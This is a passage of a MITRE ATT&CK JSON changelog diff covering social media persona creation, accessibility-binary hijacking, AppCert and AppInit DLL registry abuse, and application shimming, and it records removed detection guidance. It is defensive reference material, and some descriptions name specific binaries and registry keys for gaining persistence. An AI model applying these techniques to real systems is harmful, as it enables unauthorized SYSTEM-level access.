services.(Citation: Trend Micro R980 2016) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1585/002", + "external_id": "T1585.002" + }, + { + "source_name": "Trend Micro R980 2016", + "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/" + }, + { + "source_name": "Free Trial PurpleUrchin", + "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", + "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.378000+00:00\", \"old_value\": \"2025-04-15 22:25:33.493000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0835: Detection of Email Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:08:41.124000+00:00", + "modified": "2025-10-24 17:49:14.364000+00:00", + "name": "Social Media Accounts", + "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1585/001", + "external_id": "T1585.001" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.364000+00:00\", \"old_value\": \"2025-04-15 23:09:01.225000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0021: Persona (Social Media)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0851: Detection of Social Media Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-22 21:04:23.285000+00:00", + "modified": "2025-10-24 17:49:15.866000+00:00", + "name": "Event Triggered Execution", + "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546", + "external_id": "T1546" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Microsoft DART Case Report 001", + "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.", + "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team" + }, + { + "source_name": "amnesia malware", + "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + }, + { + "source_name": "Backdooring an AWS account", + "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.", + "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9" + }, + { + "source_name": "Varonis Power Automate Data Exfiltration", + "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.", + "url": "https://www.varonis.com/blog/power-automate-data-exfiltration" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"WMI: WMI Creation\", \"File: File Metadata\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Cloud Service: Cloud Service Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.866000+00:00\", \"old_value\": \"2025-04-15 22:28:46.740000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n\\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n\\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n\\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n-\\n-These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n-\\n-Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0010: Behavioral Detection of Event Triggered Execution Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:32:40.315000+00:00", + "modified": "2025-10-24 17:48:56.964000+00:00", + "name": "Accessibility Features", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/008", + "external_id": "T1546.008" + }, + { + "source_name": "Narrator Accessibility Abuse", + "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.", + "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html" + }, + { + "source_name": "FireEye Hikit Rootkit", + "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + }, + { + "source_name": "DEFCON2016 Sticky Keys", + "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", + "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Paul Speulstra, AECOM Global Security Operations Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.964000+00:00\", \"old_value\": \"2025-04-15 19:58:41.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1035: Limit Access to Resource Over Network", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0033: Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:47:41.795000+00:00", + "modified": "2025-10-24 17:49:00.663000+00:00", + "name": "AppCert DLLs", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/009", + "external_id": "T1546.009" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Sysinternals AppCertDlls Oct 2007", + "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.663000+00:00\", \"old_value\": \"2025-04-15 19:58:44.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n\\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n-\\n-Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0362: Detection Strategy for AppCert DLLs Persistence via Registry Injection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:52:25.589000+00:00", + "modified": "2025-10-24 17:49:24.008000+00:00", + "name": "AppInit DLLs", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/010", + "external_id": "T1546.010" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "AppInit Registry", + "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", + "url": "https://support.microsoft.com/en-us/kb/197571" + }, + { + "source_name": "AppInit Secure Boot", + "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", + "url": "https://msdn.microsoft.com/en-us/library/dn280412" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.008000+00:00\", \"old_value\": \"2025-04-16 20:37:21.193000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0557: Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:56:24.231000+00:00", + "modified": "2025-10-24 17:48:42.703000+00:00", + "name": "Application Shimming", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or 